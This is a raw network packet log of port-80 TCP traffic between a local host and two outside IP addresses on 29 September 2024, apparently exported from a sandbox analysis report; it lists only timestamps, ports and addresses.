Sep 29, 2024 00:53:24.367095947 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.367126942 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.367187977 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367194891 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367206097 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367211103 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367216110 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367222071 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367228031 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367240906 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367248058 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367254019 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367254972 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.367254972 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.367260933 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367266893 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367280006 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367285013 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.367285967 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367290974 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367304087 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367311001 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367316961 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367324114 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367328882 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367340088 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367346048 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367347002 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.367347002 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.367372036 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.367396116 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.367583036 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367588997 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367594957 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367623091 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.367640972 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.367664099 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367671967 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367682934 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367690086 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367742062 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.367742062 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.367815018 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367822886 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367826939 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367831945 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367845058 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367851019 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367856979 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.367862940 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.367880106 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.367902040 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.368011951 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368022919 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368029118 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368040085 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368046045 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368052006 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368057966 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368058920 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.368063927 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368100882 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.368128061 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.368230104 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368236065 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368247032 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368252993 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368259907 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368266106 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368284941 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.368305922 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.368333101 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368340015 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368350983 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368357897 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368362904 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368370056 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368380070 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368386030 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368391991 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368396997 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.368396997 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.368400097 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368437052 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.368437052 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.368493080 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368499994 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368510962 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368516922 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368524075 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368535042 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368542910 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.368545055 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.368560076 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.368593931 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.368622065 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.371715069 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.371828079 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.371871948 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.371877909 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.371891022 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.371896029 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.371901989 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.371908903 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.371921062 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.371927977 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.371931076 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.371931076 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.371932030 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.371943951 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.371952057 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.371958017 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.371963978 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.371990919 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.371990919 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.372003078 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.372009039 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.372031927 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.372066975 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.372066975 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.372164011 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.372169018 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.372180939 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.372194052 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.372199059 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.372209072 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.372221947 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.372224092 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.372224092 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.372227907 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.372237921 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.372253895 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.372278929 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.372278929 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.373114109 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373147011 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373152971 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373174906 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.373209953 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.373296022 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373301983 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373312950 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373318911 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373323917 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373328924 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373339891 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373346090 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373347044 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.373352051 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373357058 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373363018 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373373985 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.373390913 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373394966 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.373404026 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373414993 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373421907 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373425961 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373436928 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373444080 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373444080 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.373444080 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.373450041 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373461962 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.373464108 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.373478889 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.373506069 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.397900105 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.397944927 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.397952080 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.397989988 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.398068905 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398075104 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398091078 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398097038 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398102999 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398107052 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398113012 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398113966 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.398113966 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.398119926 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398124933 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398135900 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398143053 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.398149967 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398156881 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398161888 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398168087 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398173094 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398173094 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.398173094 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.398180008 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398205042 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.398217916 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.398247004 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.398328066 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398334026 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398348093 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398355961 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398363113 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398365974 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398370028 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398382902 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398382902 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.398390055 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398396015 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398401976 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398403883 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.398406982 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398412943 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398442030 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.398442030 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.398464918 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.398473024 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398478985 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398485899 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398490906 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398497105 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398502111 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398516893 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398534060 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.398534060 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.398567915 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.398941994 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398947001 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398958921 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398966074 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398977995 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398983955 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398988962 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.398999929 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.399010897 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.399010897 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.399041891 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.399127960 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.399135113 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.399146080 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.399149895 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.399154902 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.399168015 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.399173975 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.399187088 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.399197102 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.399198055 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.399224043 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.399240971 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.399243116 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.399247885 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.399255037 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.399260044 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.399266005 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.399282932 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.399291039 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.399291039 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.399291039 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.399296045 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.399302959 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399310112 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399317026 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.399357080 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.399364948 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.399364948 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.399415016 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399429083 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399442911 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399447918 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399468899 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399475098 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399486065 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399491072 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399497032 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399502993 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399506092 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.399506092 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.399525881 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399533033 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399538994 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399542093 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.399542093 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.399545908 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399553061 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399559021 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399564981 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399569988 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399575949 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399584055 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.399596930 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399607897 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.399607897 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.399610043 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399617910 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399635077 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399637938 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399645090 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399646997 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399652958 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.399652958 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.399655104 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399667978 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399673939 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399684906 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399697065 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399712086 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.399712086 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.399732113 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399739027 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399750948 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399768114 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.399779081 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399781942 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.399830103 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.399905920 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399912119 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399930000 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399935961 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399950027 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399955988 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399960995 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399975061 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399982929 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.399983883 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.399983883 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.399988890 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.400002956 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.400053978 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.400144100 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.400149107 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.400166035 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.400171995 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.400177956 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.400190115 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.400196075 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.400207043 CEST	80	49712	176.113.115.95	192.168.2.9
